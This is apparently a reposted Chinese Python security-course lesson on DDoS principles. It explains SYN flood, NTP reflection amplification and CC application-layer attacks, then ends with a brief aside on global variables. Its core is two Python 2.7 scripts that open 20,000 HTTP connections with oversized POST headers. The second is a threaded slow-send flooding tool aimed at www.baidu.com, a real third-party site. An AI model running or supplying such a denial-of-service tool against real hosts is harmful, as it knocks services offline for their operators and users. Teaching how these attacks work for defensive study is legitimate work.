python安全开发课程第二章第四节--DDOS原理

python安全开发课程第二章第四节–DDOS原理

注释:本例代码为python2.7代码

DOS攻击种类与原理

分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力,拒绝服务攻击现在可用的种类和方式很多,威力也越来越大,这里介绍最简单的一种ddos的攻击原理

1.SYN Flood 泛洪攻击

这要从操作系统的TCP/IP协议栈的实现说起。当开放了一个TCP端口后,该端口就处于Listening状态,不停地监视发到该端口的Syn报文,一旦接收到Client发来的Syn报文,就需要为该请求分配一个TCB(Transmission Control Block),通常一个TCB至少需要280个字节,在某些操作系统中TCB甚至需要1300个字节,并返回一个SYN ACK命令,立即转为SYN-RECEIVED即半开连接状态,而某些操作系统在SOCK的实现上最多可开启512个半开连接,如果恶意的向某个服务器端口发送大量的SYN包,则可以使服务器打开大量的半开连接,分配TCB,从而消耗大量的服务器资源,同时也使得正常的连接请求无法被相应。而攻击发起方的资源消耗相比较可忽略不计

2. 流量放大反射DDOS

流量放大是DDoS中常用的技术手段,基本原理相对简单。对于一个C/S服务,如果Server到Client的Reponse报文比Client到Server的request报文更大,则实现了流量的放大。为了在DDoS中使用放大技术还需要满足一个条件,即Server提供的服务是基于UDP这样的无连接协议。历史上经典的流量放大攻击是NTP反射,最多听说可以打到了800G/s

3.cc攻击

CC(ChallengeCollapsar,挑战黑洞)攻击是DDoS攻击的一种类型,使用代理服务器向受害服务器发送大量貌似合法的请求。CC攻击和其他ddos的主要区别是cc主要是针对应用层,而其他ddos攻击技术主要针对传输层。

简单的cc(dos的一种)攻击模型

#coding=utf-8
import socket
MAX_CONN=20000  #定义固定的连接数,这样危害比较小
PORT=80
HOST="localhost"
PAGE="/index.php"
#这里自己定义一个post请求格式,其实可以使用urllib2替代,下章会讲
buf=("POST %s HTTP/1.1\r\n"
"Host: %s\r\n"
"Content-Length: 10000000\r\n"
"Cookie: dklkt_dos_test\r\n"
"\r\n" % (PAGE,HOST))
socks=[]
def conn_thread():
    global socks
    for i in range(0,MAX_CONN):
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        try:
            s.connect((HOST,PORT))
            s.send(buf)
            print "Send buf OK!,conn=%d\n"%i
            socks.append(s)
        except :
            print "Could not connect to server "

if __name__ == '__main__':
    conn_thread()

严格的讲这只是一次标准的socket连接,如果非要按照ddos的理解这也只是一个dos,而不是ddos,因为它不是分布式的当然只连接一次,还不是分布式的,当然没有什么威力,下面提供一个威力强的脚本,但是依然不是分布式的。

简单的cc工具

##coding=utf-8
import socket  
import time
import threading  
MAX_CONN=20000  #定义固定的连接数,这样危害比较小
PORT=80  
HOST="www.baidu.com"  
PAGE="/index.php"
#这里自己定义一个post请求格式,其实可以使用urllib2替代,下章会讲  
buf=("POST %s HTTP/1.1\r\n"  
"Host: %s\r\n"  
"Content-Length: 10000000\r\n"  
"Cookie: dklkt_dos_test\r\n"  
"\r\n" % (PAGE,HOST))  
socks=[]
def conn_thread():  
    global socks
    for i in range(0,MAX_CONN):  
        s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)  
        try:  
            s.connect((HOST,PORT))  
            s.send(buf)  
            print "Send buf OK!,conn=%d\n"%i  
            socks.append(s)  
        except :  
            print "Could not connect to server " 
def send_thread():
    global socks
    while True:
        for s in socks:  
            try:  
                s.send("f")  
                #print "send OK!"  
                
                
            except Exception,e:  
                print "error:%s"% e
                socks.remove(s)
                s.close()                
        time.sleep(1)    
conn_th=threading.Thread(target=conn_thread,args=())
send_th=threading.Thread(target=send_thread,args=())
if __name__ == '__main__':
    conn_th.start()
    send_th.start()

这个dos工具呢会发送20000个连接,并且最快发送给目标,实际上这个dos并没有什么真正的威力,也就每秒几十k的样子,而且对于buf的构造也不腰简单的使用最基本的发送字节,要学会使用泛洪和放大攻击,后面在工具篇的时候有兴趣还可以再继续介绍ddos,这个ddos脚本很容易被防火墙墙掉,

扩展语法-全局变量

在大多数语言中,都有全局变量的这个概念,每个变量都有自己的“使用域”超过这个域,变量将不再起作用,但是有的时候我们需要在多个函数中使用一个变量,这时候就需要一个全局变量了

>>> con=0
>>> def test():
		global con #大家可以尝试不声明这个全局变量,看看结果如何
		print con
		con +=1
>>> test()
>>> test()
>>> test()

猜你喜欢

转载自blog.csdn.net/u014247926/article/details/127188803
今日推荐